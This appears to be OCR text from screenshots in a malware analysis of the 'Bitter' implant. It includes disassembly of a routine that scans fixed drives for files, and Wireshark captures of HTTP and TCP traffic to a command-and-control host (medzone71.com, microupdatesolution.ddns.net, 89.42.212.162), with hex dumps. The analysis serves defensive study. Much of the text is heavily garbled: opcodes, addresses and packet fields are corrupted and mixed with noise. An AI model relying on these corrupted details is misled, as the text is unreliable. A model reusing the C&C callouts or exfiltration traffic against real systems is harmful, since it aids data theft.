text:868B6911F lea esi, [ebp+rBuffer]
text:B0B69125 jz short loc_B69153
text:00B69127 moy edi, ds:GetDriveTypel
text:B68B6912D lea ecx, [ecx+8]
text:B0B6D138
text:00B69138 loc_B&69130: ; CODE XREF: findsensefile+61jj
text:B0B69138 push esi ; lpRootPathHame
Eext: 008869131 call edi ; GetDriveTypeW
text: 00869133 cmp eax, DRIVE_FIKED
text:A0BE69136 jnz short loc_B69141
text:00B69138 push esi
text:B0BG9139 call cullehtfile
Eext:B0B6913E add esp, 4
text:08B69141
text:00B69141 loc_B69141: ; CODE XREF: findsensefile+usfj
text:06B69141 ; Findsensefile+581j
text:A0B62 141 add esi, 2
text:B0BGO14Y cmp word ptr [esi], @
text:00B69148 jnz short loc_B69141
text-00B6914A add esi, 2
text:BBBE6914D cmp vord ptr [esi], @
Eext:08B69151 jnz short loc_B69138
text:A0BE69153
Eext:00B69153 loc_B69153: ; CODE XREF: findsensefile+3stj
text:B0BG9153 mowv ecx, [ebp+var_4]
text:00B69156 pop edi
text:80B69157 xor ecx, ebp
text:00B69159 pop esi
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I Follow TCP Stream

Stream Content
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] |
— P— |
brrsasszcsssl
L . 5". . ..Bra_
........... TP N D P P PP PPN RN
P23 SV || KKK KK KKK, KKK, BITTERL234. . L . . . L& 30 7-dBWUL
[ Cs
........... T
Bexval KKK-BITTER1234. . ... ..U3gF&; 3)7dBWUNBOyK=E— 6.0
121 4 I 2e
[ F Dy DIN ~ wif A

POST /medal/adfsdsqw.php HTTP/ 1.0

Host: medzone71.com

Connection: keep-alive

Foatest tigme .-caq)dcod oo (et S o st caradoe.,
Conrenzdd éngtHit=b

CTTTTTTTIERZA THAL. L 208 0K,
Dater=WedrEe2=lov=20 1608 B5:-305GI
Servems=Apache
¥ZRowered -BTPHRIS=3=29
(€ et
EamtenE= Erermtex/htm]

XML _TNFO=NLL:<bhr>

122 4 r 3e
2. 4
3 ! w Rwlj Bitter Ah w I
~ 1T C&C + 0% A

S5bUB 2b35.684332 192.168.1/5.1 239.255.255.250 SSUP 143

+ 5618 2637.184167 192.168.175.128 192.168.175.2 DNS 88 Standard query @xe768 A microupdatesolution.ddns.net

— 5611 2637.127360 192.168.175.2 192.168.175.128 DNS 164 Standard query response @xe768 A microupdatesolution.ddns.net A 89.42.212.162
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11 13.537893 192.168.68.131 89.42.212.162 TCP 1514 41869246 [ACK] Seq=2921 Ack=12 Win=64229 Len=1460

12 13.537894 192.168.68.131 89.42.212.162 TCP 1514 4186+9246 [ACK] Seq=4381 Ack=12 Win=64229 Len=1468

13 13.537895 192.168.68.131 89.42.212.162 TCP 1514 4186+9246 [ACK] Seq=5841 Ack=12 Win=64229 Len=1460

14 13.537895 89.42.212.162 192.168.68.131 TCP 54 92464186 [ACK] Seq=12 Ack=4381 Win=64240 Len=0

15 13.537895 192.168.68.131 89.42.212.162 TCP 1514 4186+9246 [ACK] Seq 7301 Ack=12 Win=64229 Lem:flllﬁﬂ

16 13.537896 89.42.212.162 R L e—— . i 3. L an a4 rAaa s canan a

17 13.537896 192.168.68.131 M Wireshark - 855 TCP i (tcp.stream eq 0) - bit

18 13.537906 89.42.212.162

19 13.537933 89.42.212.162 rcqDA....... F.7x.1tp3!2Yk%fs90*tp3 | 2Yk%Fs90*tp3 | 2Yk%Fs98*tp3 | 2Yk%Fs90*tp3 | 2Yk%Fs90*tp3 | 2Yk¥%Fs90*
28 13.537933 89.42.212.162 %fs90%tp3! 2Yk%fs90*tp3 1 2Yk%fs90%tp3 ! 2Yk%Fs90*tp3! 2Yk%fs90*+tp3 | 2Yk%fs9@*tp3 | 2Yk%Fs90*tp3 ! 2Yk%fs9€

%fs90%tp3! 2Yk¥fs90*tp3 1 2YkXATs90=tp3 | 2Yk%Fs 00 tp3 ! 2YK%Fs90%tp3 | 2Yk%Fs90™tp3 | 2YKAFs90*tp3 | 2Yk%Efs9€
%fs9e=tp3! 2Yk%F599"‘tp3 H ZYk%FSEB"‘tDB H ZYk%FSEB"‘tDS H ZYk%FSBB"‘tDS g 2Yk%F596"‘tp3 g 2Yk%F596"‘tp3 12YK%fs9€

21 15.646882 89.42.212.162

w53 11: 1514 bytes on wire (12112 bits),
=icnet II, Src: Vmware 27:83:e2 (@@:50:%
=tirnet Protocol Version 4, Src: 192.168.
=mission Control Protocol, Src Port: &

3" h w °~ 3:D LT a o0ae- P~ e LT
Ab C&C H3 S v A
4 H @ 10 - = VHG@ A
I c’C F ° wo IPG [n i “ i 1A
2 T 1 On 1 c&C A
1 W w C&C 1 %o C&C 0 D~ A

192.168.68.131 202.106.0.20 DNS 88 Yes Standard quer'y Bx4811 A mlcmupda‘tesolutmn ddns.net

B T s LIt o - L EERE T SRR ot e e

55=1460 Ws=1 SATK_FI 1192 168.68.131 89.42.212.162 TP 66 Yes 4186 9246 [S¥YN] Seq 1]06440%&0 lahm=64248 Len=G H
1 Win=64240 Len=0 M:83.42.212. 162 152.168.68. 131 TCP 58 Yes 5246 - 4:86 [SYN, ACK] Seq=242555616 Ack=186448898
=64248 Len=0 2 TCP 54 Yes 4186 -+ 9246 [ACK] Seq=1664468881 Ack=242555617 Win
1 Win=64246 Len=11 TCP 65 Yes 9246 - 4186 [PSH, ACK] Seq=242555617 Ack=186448
=64229 Len=146G TCP 1514 Yes 4186 » 3246 [ACK] Seq=106446 1 Ack=242555628 Win
E| " 6€
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& v » o N
2 10 W on 1 ] 40 ceC F A
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00000000 T2 63 T1 44 41 DZ 05 00 OO0 QO OO OO OO OO OO 0O rcq]:;sfl

00000010 6B 25 66 73 39 30 2A 74 70 33 21 32 59 00 00 00 k3£=80*tp3!2Y

00000020 18 46 17 37 78 E2 21 74 70 33 21 32 59 6B 25 66 F TxA!tp3!2Yk:if
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